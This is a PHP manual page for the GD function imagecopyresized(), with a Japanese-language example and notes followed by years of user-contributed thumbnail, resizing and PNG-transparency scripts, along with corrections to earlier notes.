$filename = 'test.jpg';
$percent = 0.5;

// コンテントタイプ
header('Content-Type: image/jpeg');

// 新規サイズを取得します
list($width, $height) = getimagesize($filename);
$newwidth = $width * $percent;
$newheight = $height * $percent;

// 読み込み
$thumb = imagecreatetruecolor($newwidth, $newheight);
$source = imagecreatefromjpeg($filename);

// リサイズ
imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

// 出力
imagejpeg($thumb);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : イメージをリサイズする

イメージは半分サイズで出力されますが、 imagecopyresampled() を使用するとより良い品質になります。

注意

注意:

パレットイメージの制限(255+1 色)による問題があります。 カラーの再サンプリングやフィルタリングには通常は 255 色以上の色が 必要となります。再サンプルするピクセルとその色を計算するために ある種の近似計算が使用されます。パレットに新しい色を割り当てよう として失敗すると、(理論的に)最も近い色が選択されます。 それは必ずしも常に可視色とは限りません。そのため、 空白(あるいは不可視な)といった不可思議な結果がもたらされます。 この問題を回避するには、imagecreatetruecolor() で 生成されるような True カラーイメージを目的のイメージとして 使用してください。

参考

  • imagecopyresampled() - 再サンプリングを行いイメージの一部をコピー、伸縮する
  • imagescale() - 幅と高さを指定して、画像の縮尺を変更する
  • imagecrop() - 指定した矩形に画像をクロップする

User Contributed Notes

eslindsey at gmail dot com 15-May-2017 08:32
I'm not sure why nworld3d at yahoo dot com's http://php.net/manual/en/function.imagecopyresized.php#69123 was downvoted--it was exactly what I was looking for to composite several alpha channel images, just like Photoshop. I needed to start with transparency and stack a few alpha images one after another on top of it. After mucking about with the built in PHP functions, I was worried that I would need to cheat by removing all the alpha and then using a transparent color in the end, but that would have looked different depending on what background I put it on top of. nworld3d at yahoo dot's comment saved me from having to go that route, and gets a +1 from me.
jack at computerrageprevention dot ca 19-Apr-2013 06:43
There are many user notes here that deal with creating a thumbnail, but I wrote a function that created a thumbnail of an image as it gets uploaded.  It is simply a combination of a file uploader with a thumbnail maker, but it is very simple to use now.

Following is an index.php file that contains the upload form, the function, and an example of how to use the function. The last two values in the 'thumb' function are for the width and height limits for the resulting thumbnail.  No matter what size the original image, the thumbnail will always fit within the dimensions specified.

<?php

if ($_POST[formname] =="upload")
{
 if ($_FILES)
 {
  foreach ($_FILES as $key => $value)
  {
   $m = thumb($value, realpath(dirname(__FILE__)) . "/" . "image_1", realpath(dirname(__FILE__)) . "/" . "thumb_1", 150, 150);

   // display any messages, whether success or failure
   if ($m) { foreach($m as $text) { print "$text<br>"; } }
  }
 }
}

function thumb($file, $bigname, $thumbname, $maxwidth, $maxheight)
{
 if (is_uploaded_file($file[tmp_name]))
 {
  // determine the image type
  if ($file[type] == "image/jpeg") { $ext = ".jpg"; }
  if ($file[type] == "image/png") { $ext = ".png"; }
  if ($file[type] == "image/gif") { $ext = ".gif"; }

  $newfile = $bigname . $ext;

  if (move_uploaded_file($file[tmp_name], $newfile))
  {
   $message[] = "Upload complete";

   // get old image size and convert to a maximum width/height combo
   $size = getimagesize($newfile);

   // only do the conversion if the width is greater than zero, otherwise there could be a division by zero error
   if ($size[1] != 0)
   {

    // Calculate the thumbnail's width an height, based on the max sized allowed and the original's dimensions
    if ($size[0]/$size[1] > $maxwidth/$maxheight)
    { $newwidth = $maxwidth; $newheight = floor(($size[1] * $maxwidth) / $size[0]); }
     else
    { $newheight = $maxheight; $newwidth = ceil(($size[0] * $maxheight) / $size[1]); }

    // Create the thumbnail
    $i = imagecreate($newwidth, $newheight);

    if ($ext == ".jpg") { $j = imagecreatefromjpeg($newfile); }
    if ($ext == ".png") { $j = imagecreatefrompng($newfile); }
    if ($ext == ".gif") { $j = imagecreatefromgif($newfile); }

    if ($j)
    {
     // Copy the original image and paste into the new image, resized
     if (imagecopyresized($i, $j, 0, 0, 0, 0, $newwidth, $newheight, $size[0], $size[1]))
     {
      if (imagejpeg($i, $thumbname . $ext, 100))
      {
       $message[] = "Image thumb created successfully";
      } else {
       $message[] = "Image thumb would not export";
      }
     } else {
      $message[] = "Image resize failure";
     }
    } else {
     $message[] = "Image type not recognized";
    }
   } else { // size[1] != 0
    $message[] = "Image size invalid";
   }
  } // move_uploaded_file
 } // is_uploaded_file

 return $message;
}

print "
<html>
<head>
<title>Image upload and create Thumbnail</title>
</head>

<body>

<form action='index.php' method='POST' enctype='multipart/form-data'>
<input type='hidden' name='formname' value='upload'>
<input type='file' name='fileupload'>
<input type='submit' value='Upload'>
</form>

</body>
</html>
";

?>

NOTE: This does not deal with adjusting palettes or transparent colors, but that can be added if you need it.
licson0729 at gmail dot com 17-Nov-2011 03:09
I couldn't find any script that resize an image and give border to it. So I made one myself. Hope that can help you.

<?php
function imagecopyresizedwithborder(&$src,$width,$height,$borderthickess,$bordercolor=NULL)
{
    list($width_orig, $height_orig) = array(imagesx($src),imagesy($src));

    if ($width && ($width_orig < $height_orig))
    {
        $width = ($height / $height_orig) * $width_orig;
    }
    else
    {
        $height = ($width / $width_orig) * $height_orig;
    }

    $dst = imagecreatetruecolor($width+2*$borderthickess,$height+2*$borderthickess);
    imagecolortransparent($dst,imagecolorallocate($dst,0,0,0));
    imagealphablending($dst,false);
    imagesavealpha($dst,true);
    imagefill($dst,0,0,(isset($bordercolor) ? $bordercolor : imagecolorallocate($dst,255,255,255)));
    imagecopyresampled($dst,$src,$borderthickess,$borderthickess,0,0,$width,$height,imagesx($src),imagesy($src));
    return $dst;
}

?>
email at vladislav dot net 22-Jun-2011 03:30
I didn't find here before any script giving both GIF and PNG transparent images correct, so I offer you mine.
Here is the code for 'image.php' script to generate a resized or original sized images of any type (JPEG, GIF, PNG) with respect to possible transparency of GIF and PNG.
The following script can be used in HTML tag IMG (to display an image marked in database with ID equal to 1 and resized to max 100px) like this:
<img src="image.php?id=1&size=100" />.

<?php
/* *************************
 * Script by A. Vladislav I.
 * ************************* */
$id = $_GET['id'];
$size = $_GET['size'];
if(!empty($id))
{
/* Here you may take the source image path from where you want: current direcory, databse etc.
 I used the $_GET['id'] for giving the script an ID of the image in database, where its real name is stored.
 I consider later the $f variable responsible to store file name and $type variable responsible to store mime type of the image. You may use function GetImageSize() to discover the mime type.
 So don't forget to set the */
  $f = /*...*/ ;
/* and */
  $type = /*...*/ ;
/* ... */
}
$imgFunc = '';
switch($type)
{
    case 'image/gif':
        $img = ImageCreateFromGIF($f);
        $imgFunc = 'ImageGIF';
        $transparent_index = ImageColorTransparent($img);
        if($transparent_index!=(-1)) $transparent_color = ImageColorsForIndex($img,$transparent_index);
        break;
    case 'image/jpeg':
        $img = ImageCreateFromJPEG($f);
        $imgFunc = 'ImageJPEG';
        break;
    case 'image/png':
        $img = ImageCreateFromPNG($f);
        ImageAlphaBlending($img,true);
        ImageSaveAlpha($img,true);
        $imgFunc = 'ImagePNG';
        break;
    default:
        die("ERROR - no image found");
        break;
}
header("Content-Type: ".$type);
if(!empty($size))
{

    list($w,$h) = GetImageSize($f);
    if( $w==0 or $h==0 ) die("ERROR - zero image size");
    $percent = $size / (($w>$h)?$w:$h);
    if($percent>0 and $percent<1)
    {
        $nw = intval($w*$percent);
        $nh = intval($h*$percent);
        $img_resized = ImageCreateTrueColor($nw,$nh);
        if($type=='image/png')
        {
            ImageAlphaBlending($img_resized,false);
            ImageSaveAlpha($img_resized,true);
        }
        if(!empty($transparent_color))
        {
            $transparent_new = ImageColorAllocate($img_resized,$transparent_color['red'],$transparent_color['green'],$transparent_color['blue']);
            $transparent_new_index = ImageColorTransparent($img_resized,$transparent_new);
            ImageFill($img_resized, 0,0, $transparent_new_index);
        }
        if(ImageCopyResized($img_resized,$img, 0,0,0,0, $nw,$nh, $w,$h ))
        {
            ImageDestroy($img);
            $img = $img_resized;

        }
    }
}
$imgFunc($img);
ImageDestroy($img);
?>

P.S.
The script can be written better (optimized etc.), but I hope you can do it by yourself.
kvslaap 02-May-2009 07:17
this is a script which loops trough a directory that is currently set to "files" and resizes all images with respecting the image ratio

<?php
//use this line if you get the error message of using too much memory (strip '//')
//ini_set ( "memory_limit", "48M");

$target_width = 800;
$target_height = 600;

if (ob_get_level() == 0) ob_start();
if ($handle = opendir('files/')) {
  while (false !== ($file = readdir($handle))) {
    if ($file != "." && $file != "..") {
      $destination_path = './files/';
      $target_path = $destination_path . basename($file);

      $extension = pathinfo($target_path);
      $allowed_ext = "jpg, gif, png, bmp, jpeg, JPG";
      $extension = $extension[extension];
      $allowed_paths = explode(", ", $allowed_ext);
      $ok = 0;
      for($i = 0; $i < count($allowed_paths); $i++) {
        if ($allowed_paths[$i] == "$extension") {
          $ok = "1";
        }
      }

      if ($ok == "1") {

        if($extension == "jpg" || $extension == "jpeg" || $extension == "JPG"){
          $tmp_image=imagecreatefromjpeg($target_path);
        }

        if($extension == "png") {
          $tmp_image=imagecreatefrompng($target_path);
        }

        if($extension == "gif") {
          $tmp_image=imagecreatefromgif($target_path);
        }

        $width = imagesx($tmp_image);
        $height = imagesy($tmp_image);

        //calculate the image ratio
        $imgratio = ($width / $height);

        if ($imgratio>1) {
          $new_width = $target_width;
          $new_height = ($target_width / $imgratio);
        } else {
          $new_height = $target_height;
          $new_width = ($target_height * $imgratio);
        }

        $new_image = imagecreatetruecolor($new_width,$new_height);
        ImageCopyResized($new_image, $tmp_image,0,0,0,0, $new_width, $new_height, $width, $height);
        //Grab new image
        imagejpeg($new_image, $target_path);
        $image_buffer = ob_get_contents();
        ImageDestroy($new_image);
        ImageDestroy($tmp_image);
        echo " $file resized to $new_width x $new_height <br> \n";
        echo str_pad('',4096)."\n";
        ob_flush();
        flush();
      }
    }
  }
  closedir($handle);
  echo "Done.";
  ob_end_flush();
}
?>
david from quidware 28-Jan-2009 12:50
If the script should resize and save thumb I use this simple code, I made a couple corrections from last one and added the possibility to resize to a max HEIGHT:

<?php
/**
 * Make thumbs from JPEG, PNG, GIF source file
 *
 * $tmpname = $_FILES['source']['tmp_name'];
 * $size - max width size
 * $save_dir - destination folder
 * $save_name - tnumb new name
 * $maxisheight - is max for width (if not is for height)
 *
 * Author:  David Taubmann http://www.quidware.com (edited from LEDok - http://www.citadelavto.ru/)
 */

/*/    // And now how using this function fast:
if ($_POST[pic])
    {
    $tmpname  = $_FILES['pic']['tmp_name'];
    @img_resize( $tmpname , 600 , "../album" , "album_".$id.".jpg");
    @img_resize( $tmpname , 120 , "../album" , "album_".$id."_small.jpg");
    @img_resize( $tmpname , 60 , "../album" , "album_".$id."_maxheight.jpg", 1);
    }
    else
    echo "No Images uploaded via POST";
/**/

function img_resize( $tmpname, $size, $save_dir, $save_name, $maxisheight = 0 )
    {
    $save_dir     .= ( substr($save_dir,-1) != "/") ? "/" : "";
    $gis        = getimagesize($tmpname);
    $type        = $gis[2];
    switch($type)
        {
        case "1": $imorig = imagecreatefromgif($tmpname); break;
        case "2": $imorig = imagecreatefromjpeg($tmpname);break;
        case "3": $imorig = imagecreatefrompng($tmpname); break;
        default:  $imorig = imagecreatefromjpeg($tmpname);
        }

        $x = imagesx($imorig);
        $y = imagesy($imorig);

        $woh = (!$maxisheight)? $gis[0] : $gis[1] ;

        if($woh <= $size)
        {
        $aw = $x;
        $ah = $y;
        }
            else
        {
            if(!$maxisheight){
                $aw = $size;
                $ah = $size * $y / $x;
            } else {
                $aw = $size * $x / $y;
                $ah = $size;
            }
        }
        $im = imagecreatetruecolor($aw,$ah);
    if (imagecopyresampled($im,$imorig , 0,0,0,0,$aw,$ah,$x,$y))
        if (imagejpeg($im, $save_dir.$save_name))
            return true;
            else
            return false;
    }
?>
it at chmzap dot ru 17-Aug-2008 10:52
If the script should resize and save thumb I use this simple code:

<?php
/**
 * Make thumbs from JPEG, PNG, GIF source file
 *
 * $tmpname = $_FILES['source']['tmp_name'];
 * $size - max width size
 * $save_dir - destination folder
 * $save_name - tnumb new name
 *
 * Author:  LEDok - http://www.citadelavto.ru/
 */

function img_resize( $tmpname, $size, $save_dir, $save_name )
    {
    $save_dir .= ( substr($save_dir,-1) != "/") ? "/" : "";
        $gis       = GetImageSize($tmpname);
    $type       = $gis[2];
    switch($type)
        {
        case "1": $imorig = imagecreatefromgif($tmpname); break;
        case "2": $imorig = imagecreatefromjpeg($tmpname);break;
        case "3": $imorig = imagecreatefrompng($tmpname); break;
        default:  $imorig = imagecreatefromjpeg($tmpname);
        }

        $x = imageSX($imorig);
        $y = imageSY($imorig);
        if($gis[0] <= $size)
        {
        $av = $x;
        $ah = $y;
        }
            else
        {
            $yc = $y*1.3333333;
            $d = $x>$yc?$x:$yc;
            $c = $d>$size ? $size/$d : $size;
              $av = $x*$c;        //высота исходной картинки
              $ah = $y*$c;        //длина исходной картинки
        }
        $im = imagecreate($av, $ah);
        $im = imagecreatetruecolor($av,$ah);
    if (imagecopyresampled($im,$imorig , 0,0,0,0,$av,$ah,$x,$y))
        if (imagejpeg($im, $save_dir.$save_name))
            return true;
            else
            return false;
    }

?>

And now how using this function fast

<?php
if ($_POST[pic])
{
$tmpname  = $_FILES['pic']['tmp_name'];
@img_resize( $tmpname , 600 , "../album" , "album_".$id.".jpg");
@img_resize( $tmpname , 120 , "../album" , "album_".$id."_small.jpg");
@img_resize( $tmpname , 60 , "../album" , "album_".$id."verysmall.jpg");
}
else
echo "No Images uploaded via POST";
?>
andrvm at andrvm dot ru 14-Oct-2007 04:09
One more version of setMemoryForImage (see below)

<?php

function setMemoryForImage($filename)
{
   $imageInfo    = getimagesize($filename);
   $memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

   $memoryLimit = (int) ini_get('memory_limit')*1048576;

  if ((memory_get_usage() + $memoryNeeded) > $memoryLimit)
   {
     ini_set('memory_limit', ceil((memory_get_usage() + $memoryNeeded + $memoryLimit)/1048576).'M');
     return (true);
   }
   else return(false);
}

?>
//work's it. no problem!
nils dot clark-bernhard at human-aspects dot de 08-Jun-2007 04:52
Regarding ob at babcom dot biz's function Resize($Dir,$Image,$NewDir,$NewImage,$MaxWidth,$MaxHeight,$Quality)

Make sure to not use a quality of 9 or higher for png resizing.

PHP will output an error like:
fatal libpng error: zlib failed to initialize compressor
or
gd-png error: setjmp returns error condition
Halit Yesil mail at halityesil dot com 23-Mar-2007 08:34
This Class image resize or crop,
your copyright text write on the image and your logo marge on the image.

Full Class code => http://www.phpbuilder.com/snippet/download.php?type=snippet&id=2188
/**
     * Author         : Halit YESIL
     * www            : www.halityesil.com, www.prografik.net, www.trteknik.net
     * email        : mail@halityesil.com, halit.yesil@prografik.net, halit.yesil@trteknik.net
     * GSM            : +90.535 648 3504
     * Create Date    : 21 / 03 / 2007
     *
     *
     * Script        : Image resize and croping class.
     *                  You can Write copyright text and attach your logo write on image with this class
     *
     *
     * $obj = new pg_image($arg);
     *
     *
     * Varibles Information
     *         [0] type => (POST | FILE) => Source File Send Type _FILES OR Dir
     *         [1] file => ({if POST Array file = $_FILES['yourfile']}|{if FILE false}) => Source File filesource
     *         [2] path => ({if FILE String [ dirname/filename.extension ]}) => Source File Root Path
     *         [3] target => ({if FILE String [ dirname/filename.extension ]}) => Target File Root Path
     *         [4] width => (integer) => Target File Width
     *         [5] height => (integer) => Target File Height
     *         [6] quality => (integer 1 - 100) => Target File Quality 0-100 %
     *         [7] action => (crop | resize) => Target Action "resize" OR "crop"
     *         [8] bordersize => (integer 0-5) => Target Border Size
     *         [9] bordercolor => (color hex) => Target Border Color
     *         [10] bgcolor => (color hex) => Target Background Color
     *         [11] copytext => (String) => Copyright Content Text
     *         [12] copycolor => (color hex) => Copyright Text Color
     *         [13] copyshadow => (color hex) => Copyright Text Shadow color
     *         [14] copybgcolor => (color hex) => Copyright Background Color
     *         [15] copybgshadow => (color hex) => Copyright Background Shadow Color
     *         [16] copybordersize => (integer 0-5) => Copyright Border Size 1-3
     *         [17] copybordercolor => (color hex) => Copyright Border Color
     *      [18] copyposition => (top | topright | topleft | center | left | right | bottom | bottomright | bottomleft) => Copyright Position
     *         [19] logoposition => (top | topright | topleft | center | left | right | bottom | bottomright | bottomleft) => Logo Image Position
     *         [20] logoimage => (String [ dirname/filename.extension] Allow Extension (PNG | GIF | JPG)) => Logo Image Root Path "PNG" OR "GIF" OR "JPG"
     *
     *
     *
     *
     */

<?php

$source = ($_REQUEST['img'] != '')?$_REQUEST['img']:'braille3.jpg';
    $arg =array(     type =>'FILE',
                    file =>false,
                     path =>$source,
                     target =>'',
                     width =>150,
                     height =>50,
                     quality =>80,
                     action =>'resize',
                     bordersize =>1,
                     bordercolor =>'#00CCFF',
                     bgcolor =>'#000000',
                     copytext =>'Bodrum 1998',
                     copycolor =>'#FFFFFF',
                     //copyshadow =>'#000000',
                     //copybgcolor =>'#D0FFCC',
                     //copybgshadow =>'#656565',
                     copybordersize =>0,
                     copybordercolor =>'#FFFFFF',
                     copyposition =>'bottom',
                     logoposition =>'topleft',
                     logoimage =>'logo.png');

    //$arg = "$source,,400,300,80,resize";
    new pg_image($arg);

?>
feip at feip dot net 15-Nov-2006 04:23
This code convert images to thumbs.
How he work -
Check source image - Width and Height,
crop a maximum from original image,
resize croped to user defined size

// makeIcons_MergeCenter($src, $dst, $dstx, $dsty);

<?php

function makeIcons_MergeCenter($src, $dst, $dstx, $dsty){

//$src = original image location
//$dst = destination image location
//$dstx = user defined width of image
//$dsty = user defined height of image

$allowedExtensions = 'jpg jpeg gif png';

$name = explode(".", $src);
$currentExtensions = $name[count($name)-1];
$extensions = explode(" ", $allowedExtensions);

for($i=0; count($extensions)>$i; $i=$i+1){
if($extensions[$i]==$currentExtensions)
{ $extensionOK=1;
$fileExtension=$extensions[$i];
break; }
}

if($extensionOK){

$size = getImageSize($src);
$width = $size[0];
$height = $size[1];

if($width >= $dstx AND $height >= $dsty){

$proportion_X = $width / $dstx;
$proportion_Y = $height / $dsty;

if($proportion_X > $proportion_Y ){
$proportion = $proportion_Y;
}else{
$proportion = $proportion_X ;
}
$target['width'] = $dstx * $proportion;
$target['height'] = $dsty * $proportion;

$original['diagonal_center'] =
round(sqrt(($width*$width)+($height*$height))/2);
$target['diagonal_center'] =
round(sqrt(($target['width']*$target['width'])+
($target['height']*$target['height']))/2);

$crop = round($original['diagonal_center'] - $target['diagonal_center']);

if($proportion_X < $proportion_Y ){
$target['x'] = 0;
$target['y'] = round((($height/2)*$crop)/$target['diagonal_center']);
}else{
$target['x'] =  round((($width/2)*$crop)/$target['diagonal_center']);
$target['y'] = 0;
}

if($fileExtension == "jpg" OR $fileExtension=='jpeg'){
$from = ImageCreateFromJpeg($src);
}elseif ($fileExtension == "gif"){
$from = ImageCreateFromGIF($src);
}elseif ($fileExtension == 'png'){
 $from = imageCreateFromPNG($src);
}

$new = ImageCreateTrueColor ($dstx,$dsty);

imagecopyresampled ($new,  $from,  0, 0, $target['x'],
$target['y'], $dstx, $dsty, $target['width'], $target['height']);

 if($fileExtension == "jpg" OR $fileExtension == 'jpeg'){
imagejpeg($new, $dst, 70);
}elseif ($fileExtension == "gif"){
imagegif($new, $dst);
}elseif ($fileExtension == 'png'){
imagepng($new, $dst);
}
}
}
}

?>
kyle dot florence at gmail dot com 15-Sep-2006 06:38
The function below will resize an image based on max width and height, then it will create a thumbnail image from the center of the resized image of a width and height specified.  This function will not resize the image to max_w pixels by max_h pixels, those are only the max width's and heights the image can be, it resizes the image to the first 1:1 ratio below max_w and max_h.

For example, if you have an image that is 800x600 and you specify your new image to be 400x200, it will resize based on the smallest number (in this case 200) and maintain the images 1:1 ratio.  So your final image would end up at something like 262x200.

UPDATE:  I have updated this function, I added the 'newdir' option in case you want the images saved in a different directory than the script.  I also fixed the thumbnail slice so it is perfectly in the center now and fixed the bug that 'ob at babcom dot biz' mentioned so you can safely resize based on width or height now.

<?
/**********************************************************
 * function resizejpeg:
 *
 *  = creates a resized image based on the max width
 *    specified as well as generates a thumbnail from
 *    a rectangle cut from the middle of the image.
 *
 *    @dir    = directory image is stored in
 *    @newdir = directory new image will be stored in
 *    @img    = the image name
 *    @max_w  = the max width of the resized image
 *    @max_h  = the max height of the resized image
 *    @th_w   = the width of the thumbnail
 *    @th_h   = the height of the thumbnail
 *
 **********************************************************/

function resizejpeg($dir, $newdir, $img, $max_w, $max_h, $th_w, $th_h)
{
    // set destination directory
    if (!$newdir) $newdir = $dir;

    // get original images width and height
    list($or_w, $or_h, $or_t) = getimagesize($dir.$img);

    // make sure image is a jpeg
    if ($or_t == 2) {

        // obtain the image's ratio
        $ratio = ($or_h / $or_w);

        // original image
        $or_image = imagecreatefromjpeg($dir.$img);

        // resize image?
        if ($or_w > $max_w || $or_h > $max_h) {

            // resize by height, then width (height dominant)
            if ($max_h < $max_w) {
                $rs_h = $max_h;
                $rs_w = $rs_h / $ratio;
            }
            // resize by width, then height (width dominant)
            else {
                $rs_w = $max_w;
                $rs_h = $ratio * $rs_w;
            }

            // copy old image to new image
            $rs_image = imagecreatetruecolor($rs_w, $rs_h);
            imagecopyresampled($rs_image, $or_image, 0, 0, 0, 0, $rs_w, $rs_h, $or_w, $or_h);
        }
        // image requires no resizing
        else {
            $rs_w = $or_w;
            $rs_h = $or_h;

            $rs_image = $or_image;
        }

        // generate resized image
        imagejpeg($rs_image, $newdir.$img, 100);

        $th_image = imagecreatetruecolor($th_w, $th_h);

        // cut out a rectangle from the resized image and store in thumbnail
        $new_w = (($rs_w / 2) - ($th_w / 2));
        $new_h = (($rs_h / 2) - ($th_h / 2));

        imagecopyresized($th_image, $rs_image, 0, 0, $new_w, $new_h, $rs_w, $rs_h, $rs_w, $rs_h);

        // generate thumbnail
        imagejpeg($th_image, $newdir.'thumb_'.$img, 100);

        return true;
    }

    // Image type was not jpeg!
    else {
        return false;
    }
}
?>

Example:

<?php
$dir = './';
$img = 'test.jpg';

resizejpeg($dir, '', $img, 600, 400, 300, 150);
?>

The example would resize the image 'test.jpg' into something 600x400 or less (retains the 1:1 ratio of the image) and creates the file 'thumb_test.jpg' at 300x150.
nworld3d at yahoo dot com 23-Aug-2006 05:06
Belows is the code snipet that allows you to resize a transparent PNG and composite it into another image.  The code is tested to work with PHP5.1.2, GD2, but I think it can also work with other versions of PHP and GD.

The code has been commented to help you read through it.  The idea of resizing the transparent PNG image is to create a new destination image which is completely transparent then turn off the imageAlphaBlending of this new image so that when the PNG source file is copied, its alpha channel is still retained.

<?php
/**
 * Compose a PNG file over a src file.
 * If new width/ height are defined, then resize the PNG (and keep all the transparency info)
 * Author:  Alex Le - http://www.alexle.net
 */
function imageComposeAlpha( &$src, &$ovr, $ovr_x, $ovr_y, $ovr_w = false, $ovr_h = false)
{
    if( $ovr_w && $ovr_h )
        $ovr = imageResizeAlpha( $ovr, $ovr_w, $ovr_h );

    /* Noew compose the 2 images */
    imagecopy($src, $ovr, $ovr_x, $ovr_y, 0, 0, imagesx($ovr), imagesy($ovr) );
}

/**
 * Resize a PNG file with transparency to given dimensions
 * and still retain the alpha channel information
 * Author:  Alex Le - http://www.alexle.net
 */
function imageResizeAlpha(&$src, $w, $h)
{
        /* create a new image with the new width and height */
        $temp = imagecreatetruecolor($w, $h);

        /* making the new image transparent */
        $background = imagecolorallocate($temp, 0, 0, 0);
        ImageColorTransparent($temp, $background); // make the new temp image all transparent
        imagealphablending($temp, false); // turn off the alpha blending to keep the alpha channel

        /* Resize the PNG file */
        /* use imagecopyresized to gain some performance but loose some quality */
        imagecopyresized($temp, $src, 0, 0, 0, 0, $w, $h, imagesx($src), imagesy($src));
        /* use imagecopyresampled if you concern more about the quality */
        //imagecopyresampled($temp, $src, 0, 0, 0, 0, $w, $h, imagesx($src), imagesy($src));
        return $temp;
}
?>
Example usage:

<?php
header('Content-type: image/png');

/* Open the photo and the overlay image */
$photoImage = ImageCreateFromJPEG('images/MiuMiu.jpg');
$overlay = ImageCreateFromPNG('images/hair-trans.png');

$percent = 0.8;
$newW = ceil(imagesx($overlay) * $percent);
$newH = ceil(imagesy($overlay) * $percent);

/* Compose the overlay photo over the target image */
imageComposeAlpha( $photoImage, $overlay, 86, 15, $newW, $newH );

/* Open another PNG file, then resize and compose it */
$watermark = imagecreatefrompng('images/watermark.png');
imageComposeAlpha( $photoImage, $watermark, 10, 20, imagesx($watermark)/2, imagesy($watermark)/2 );

/**
 * Open the same PNG file then compose without resizing
 * As the original $watermark is passed by reference, it was resized already.
 * So we have to reopen it.
 */
$watermark = imagecreatefrompng('images/watermark.png');
imageComposeAlpha( $photoImage, $watermark, 80, 350);
Imagepng($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($overlay);
ImageDestroy($watermark);
?>
ob at babcom dot biz 21-Aug-2006 04:32
Regarding the note and function of kyle.florence on August 3rd 2006:

I tried to use his function resizejpeg() for resizing images in my gallery. As far as I can tell it contains a small bug.

Resizing worked fine as long as I had the same maximum width and maximum height specified. Wanting all thumbnails to have the same height - so my images would appear in a straight line on my website both in portrait format and in landscape format - I soon encountered the problem that resizing with different values of maximum width and maximum height would not work proberly.

If you are using the script change the following 2 lines where the resized width and the resized height are calculated:

<?php
$rs_h = $ratio * $max_h;
?>
should be:
<?php
$rs_h = $ratio * $rs_w;
?>

and:
<?php
$rs_w = $max_w / $ratio;
?>
should be:
<?php
$rs_w = $rs_h / $ratio;
?>

The following function is based on Kyle Florence's function. I left out the thumbnail-part and rather added the possibiliy of defining a new dir and new filename for the image. If you need to resize and then create a thumbnail just run the function twice. Here, the thumbnail will contain the full picture and not a cutout of the original image.

The function supports JPG, GIF and PNG resizing. The quality in case of JPG is given to the function as the last parameter $Quality.

The variable names should speak for their usage.

<?php
function Resize($Dir,$Image,$NewDir,$NewImage,$MaxWidth,$MaxHeight,$Quality) {
  list($ImageWidth,$ImageHeight,$TypeCode)=getimagesize($Dir.$Image);
  $ImageType=($TypeCode==1?"gif":($TypeCode==2?"jpeg":
             ($TypeCode==3?"png":FALSE)));
  $CreateFunction="imagecreatefrom".$ImageType;
  $OutputFunction="image".$ImageType;
  if ($ImageType) {
    $Ratio=($ImageHeight/$ImageWidth);
    $ImageSource=$CreateFunction($Dir.$Image);
    if ($ImageWidth > $MaxWidth || $ImageHeight > $MaxHeight) {
      if ($ImageWidth > $MaxWidth) {
         $ResizedWidth=$MaxWidth;
         $ResizedHeight=$ResizedWidth*$Ratio;
      }
      else {
        $ResizedWidth=$ImageWidth;
        $ResizedHeight=$ImageHeight;
      }
      if ($ResizedHeight > $MaxHeight) {
        $ResizedHeight=$MaxHeight;
        $ResizedWidth=$ResizedHeight/$Ratio;
      }
      $ResizedImage=imagecreatetruecolor($ResizedWidth,$ResizedHeight);
      imagecopyresampled($ResizedImage,$ImageSource,0,0,0,0,$ResizedWidth,
                         $ResizedHeight,$ImageWidth,$ImageHeight);
    }
    else {
      $ResizedWidth=$ImageWidth;
      $ResizedHeight=$ImageHeight;
      $ResizedImage=$ImageSource;
    }
    $OutputFunction($ResizedImage,$NewDir.$NewImage,$Quality);
    return true;
  }
  else
    return false;
}
?>

Before calling the function support for JPG, PNG or GIF should be checked.
hodgman at ali dot com dot au 08-Aug-2006 04:37
Users of this function should be aware that this function can return false in certain circumstances! I am assuming this is an indicator of failure.

None of the example code displayed in these notes takes this into account, so all of these examples contain weaknesses that could crash a program if not used with care.

However, it is not documented what kinds situations will cause it to fail, and what side effects (if it is not atomic) occur if the operation fails, so we will have to wait for the documentation to be updated before this function can be used in rock-solid (crash-proof) code.

[[I posted this information earlier, but I phrased it as a question so it was removed by the editors]]
kyle(dot)florence(_[at]_)gmail(dot)com 03-Aug-2006 06:43
The function below will resize an image based on max width and height, then it will create a thumbnail image from the center of the resized image of a width and height specified.

<?php
/**********************************************************
 * function resizejpeg:
 *
 *  = creates a resized image based on the max width
 *    specified as well as generates a thumbnail from
 *    a rectangle cut from the middle of the image.
 *
 *    @dir   = directory image is stored in
 *    @img   = the image name
 *    @max_w = the max width of the resized image
 *    @max_h = the max height of the resized image
 *    @th_w  = the width of the thumbnail
 *    @th_h  = the height of the thumbnail
 *
 **********************************************************/

function resizejpeg($dir, $img, $max_w, $max_h, $th_w, $th_h)
{
    // get original images width and height
    list($or_w, $or_h, $or_t) = getimagesize($dir.$img);

    // make sure image is a jpeg
    if ($or_t == 2) {

        // obtain the image's ratio
        $ratio = ($or_h / $or_w);

        // original image
        $or_image = imagecreatefromjpeg($dir.$img);

        // resize image
        if ($or_w > $max_w || $or_h > $max_h) {

            // first resize by width (less than $max_w)
            if ($or_w > $max_w) {
                $rs_w = $max_w;
                $rs_h = $ratio * $max_h;
            } else {
                $rs_w = $or_w;
                $rs_h = $or_h;
            }

            // then resize by height (less than $max_h)
            if ($rs_h > $max_h) {
                $rs_w = $max_w / $ratio;
                $rs_h = $max_h;
            }

            // copy old image to new image
            $rs_image = imagecreatetruecolor($rs_w, $rs_h);
            imagecopyresampled($rs_image, $or_image, 0, 0, 0, 0, $rs_w, $rs_h, $or_w, $or_h);
        } else {
            $rs_w = $or_w;
            $rs_h = $or_h;

            $rs_image = $or_image;
        }

        // generate resized image
        imagejpeg($rs_image, $dir.$img, 100);

        $th_image = imagecreatetruecolor($th_w, $th_h);

        // cut out a rectangle from the resized image and store in thumbnail
        $new_w = (($rs_w / 4));
        $new_h = (($rs_h / 4));

        imagecopyresized($th_image, $rs_image, 0, 0, $new_w, $new_h, $rs_w, $rs_h, $rs_w, $rs_h);

        // generate thumbnail
        imagejpeg($th_image, $dir.'thumb_'.$img, 100);

        return true;
    }

    // Image type was not jpeg!
    else {
        return false;
    }
}
?>

Example:

<?php
$dir = './';
$img = 'test.jpg';

resizejpeg($dir, $img, 600, 600, 300, 150);
?>

The example would resize the image 'test.jpg' into something 600x600 or less (1:1 ratio) and create the file 'thumb_test.jpg' at 300x150.
06madsenl at westseneca dot wnyric dot org 21-Apr-2006 06:05
